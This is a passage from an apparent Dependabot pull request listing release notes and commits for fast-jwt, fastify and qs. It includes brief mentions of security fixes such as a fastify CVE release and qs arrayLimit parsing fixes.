href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/567\"\u003enearform/fast-jwt#567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: import crypto once by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/568\"\u003enearform/fast-jwt#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: migrate to OIDC publishing for npm releases by \u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it by \u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/557\"\u003enearform/fast-jwt#557\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/558\"\u003enearform/fast-jwt#558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Add error handling section with examples by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/561\"\u003enearform/fast-jwt#561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix: error constructor in declaration file by \u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.0 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/554\"\u003enearform/fast-jwt#554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: support negative expiresIn when signing tokens by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/556\"\u003enearform/fast-jwt#556\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.0\u003c/h2\u003e\n\u003ch2\u003eBREAKING CHANGES\u003c/h2\u003e\n\u003cp\u003eThis is a semver major release containing breaking changes to address more thoroughly the security vulnerability fixed in \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v5.0.6\"\u003ev5.0.6\u003c/a\u003e, which only fixed the vulnerability without introducing breaking changes.\u003c/p\u003e\n\u003cp\u003eThis release takes it one step further by adhering more closely to the \u003ca href=\"https://datatracker.ietf.org/doc/html/rfc7519\"\u003eJWT specification\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eMore specifically, verification now expects all claims except for the \u003ccode\u003eaud\u003c/code\u003e claim to be single values, instead of supporting arrays of values.\u003c/p\u003e\n\u003cp\u003eThis is a breaking change because JWTs containing claims in array format (with the exception of \u003ccode\u003eaud\u003c/code\u003e), now cause verification errors, while they were previously allowed.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.6 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/551\"\u003enearform/fast-jwt#551\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat!: align claim validation to specification by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/553\"\u003enearform/fast-jwt#553\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/986a77a7d59964ad6eebe9de5681d9134cc435b4\"\u003e\u003ccode\u003e986a77a\u003c/code\u003e\u003c/a\u003e Release v6.1.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/574\"\u003e#574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e8429c6e66597d471f05894e447862210d2f3129\"\u003e\u003ccode\u003ee8429c6\u003c/code\u003e\u003c/a\u003e feat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ad60c8353b1e9bbdcf79dd158a3636dc4dd73269\"\u003e\u003ccode\u003ead60c83\u003c/code\u003e\u003c/a\u003e chore: migrate to OIDC publishing for npm releases (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/569\"\u003e#569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4699c54de3820bb0e3d0622d3838d4e8ec98839a\"\u003e\u003ccode\u003e4699c54\u003c/code\u003e\u003c/a\u003e chore: import crypto once (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/568\"\u003e#568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b9c7bc3cfb54a007476f365b6250c20efb566231\"\u003e\u003ccode\u003eb9c7bc3\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.32.0 to 0.33.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/567\"\u003e#567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/315d44d29b5dd56a9e406f9c49a39cf864ad32ba\"\u003e\u003ccode\u003e315d44d\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/565\"\u003e#565\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/3683e00d7227d3dbc44c4f96fffd4c4a0195e5b2\"\u003e\u003ccode\u003e3683e00\u003c/code\u003e\u003c/a\u003e Release v6.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/564\"\u003e#564\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f28ebf934ccbf894600437886248f3d147e90953\"\u003e\u003ccode\u003ef28ebf9\u003c/code\u003e\u003c/a\u003e Fix: error constructor in declaration file (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/562\"\u003e#562\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/2181bf1e218088a8b174b1f32902ebcb1ae5e335\"\u003e\u003ccode\u003e2181bf1\u003c/code\u003e\u003c/a\u003e docs: Add error handling section with examples (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/561\"\u003e#561\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/62341114debc84b676fab3cc7bbd9d30a7b36c20\"\u003e\u003ccode\u003e6234111\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/558\"\u003e#558\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v2.2.2...v6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for fast-jwt since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastify` from 4.23.2 to 5.8.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify/releases\"\u003efastify's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.8.3\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003cp\u003eThis fixes CVE CVE-2026-3635 \u003ca href=\"https://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\"\u003ehttps://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(readme): add \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e to plugin team by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6565\"\u003efastify/fastify#6565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdated Plugins-Guide.md; Changed \u0026quot;fastify\u0026quot; to \u0026quot;instance\u0026quot; during plugin registration to showcase that it's added as a child by \u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: use fastify.test in test case by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6568\"\u003efastify/fastify#6568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: use fastify.example in documentation by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6567\"\u003efastify/fastify#6567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add common performance degradation guidance by \u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(server): fix camelCase anchor links in TOC by \u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(link-checker): fix root-relative links resolution by \u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update syntax markdown, absolute paths and links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6569\"\u003efastify/fastify#6569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: clarify content-type parser/schema mismatch is outside threat model by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6537\"\u003efastify/fastify#6537\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: fix incorrect code examples in Reply and Request reference by \u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: replace redirected npm.im http-errors link by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6588\"\u003efastify/fastify#6588\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etypes: Allow port to be null in request type definition by \u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6593\"\u003efastify/fastify#6593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(lock-threads): use shared lock-threads workflow by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6592\"\u003efastify/fastify#6592\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\"\u003ehttps://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.8.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(ecosystem): add \u003ccode\u003e@​yeliex/fastify-problem-details\u003c/code\u003e by \u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRevert \u0026quot;chore: upgrade borp to v1.0.0\u0026quot; by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6564\"\u003efastify/fastify#6564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: document body validation with custom content type parsers by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6556\"\u003efastify/fastify#6556\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(ecosystem): add fastify-file-router by \u003ca href=\"https://github.com/bhouston\"\u003e\u003ccode\u003e@​bhouston\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6441\"\u003efastify/fastify#6441\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add fastify-svelte-view to Ecosystem list by \u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: anchor keyValuePairsReg to prevent quadratic backtracking by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6558\"\u003efastify/fastify#6558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: added note on handling of invalid URLs in setNotFoundHandler by \u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(guides): update codemod links by \u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add \u003ccode\u003e@​glidemq/fastify\u003c/code\u003e to community plugins by \u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a3e77ce171516e95f0c28ce60b9e5228a4c42fe4\"\u003e\u003ccode\u003ea3e77ce\u003c/code\u003e\u003c/a\u003e Bumped v5.8.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/4e1db5bd0012ccf63a49ff105a63e25981b9a747\"\u003e\u003ccode\u003e4e1db5b\u003c/code\u003e\u003c/a\u003e fix: gate host and protocol getters on proxy trust function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a22217f9420f70017a419d8e18b2a3141ab27989\"\u003e\u003ccode\u003ea22217f\u003c/code\u003e\u003c/a\u003e ci(lock-threads): use shared lock-threads workflow (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6592\"\u003e#6592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/1851f208e72be06ca419f2000dea63e540ff1ab0\"\u003e\u003ccode\u003e1851f20\u003c/code\u003e\u003c/a\u003e docs: update links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6593\"\u003e#6593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/9cc5187be2dc7c38fd68d0d43541f16ed6d1e1ad\"\u003e\u003ccode\u003e9cc5187\u003c/code\u003e\u003c/a\u003e types: Allow port to be null in request type definition (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6589\"\u003e#6589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/722d83b0632387b853b218ae3a7da40cc46e2677\"\u003e\u003ccode\u003e722d83b\u003c/code\u003e\u003c/a\u003e docs: replace redirected npm.im http-errors link (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6588\"\u003e#6588\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a1413de2033b2b00dc1d3563d4f00a7e15ceab2d\"\u003e\u003ccode\u003ea1413de\u003c/code\u003e\u003c/a\u003e docs: fix incorrect code examples in Reply and Request reference (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6582\"\u003e#6582\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d7f01b600811172d7f7023bccc5e96583159202b\"\u003e\u003ccode\u003ed7f01b6\u003c/code\u003e\u003c/a\u003e docs: clarify content-type parser/schema mismatch is outside threat model (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6\"\u003e#6\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a0649e92e93c1ad8b164020f61be5d5fa287d506\"\u003e\u003ccode\u003ea0649e9\u003c/code\u003e\u003c/a\u003e docs: update syntax markdown, absolute paths and links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6569\"\u003e#6569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d4779155286ea1d31c24dba1e90d7d478909382b\"\u003e\u003ccode\u003ed477915\u003c/code\u003e\u003c/a\u003e ci(link-checker): fix root-relative links resolution (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6535\"\u003e#6535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify/compare/v4.23.2...v5.8.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `qs` from 6.11.0 to 6.14.2\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ljharb/qs/blob/main/CHANGELOG.md\"\u003eqs's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003cstrong\u003e6.14.2\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: mark overflow objects for indexed notation exceeding \u003ccode\u003earrayLimit\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/546\"\u003e#546\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003earrayLimit\u003c/code\u003e means max count, not max index, in \u003ccode\u003ecombine\u003c/code\u003e/\u003ccode\u003emerge\u003c/code\u003e/\u003ccode\u003eparseArrayValue\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: throw on \u003ccode\u003earrayLimit\u003c/code\u003e exceeded with indexed notation when \u003ccode\u003ethrowOnLimitExceeded\u003c/code\u003e is true (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/529\"\u003e#529\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: enforce \u003ccode\u003earrayLimit\u003c/code\u003e on 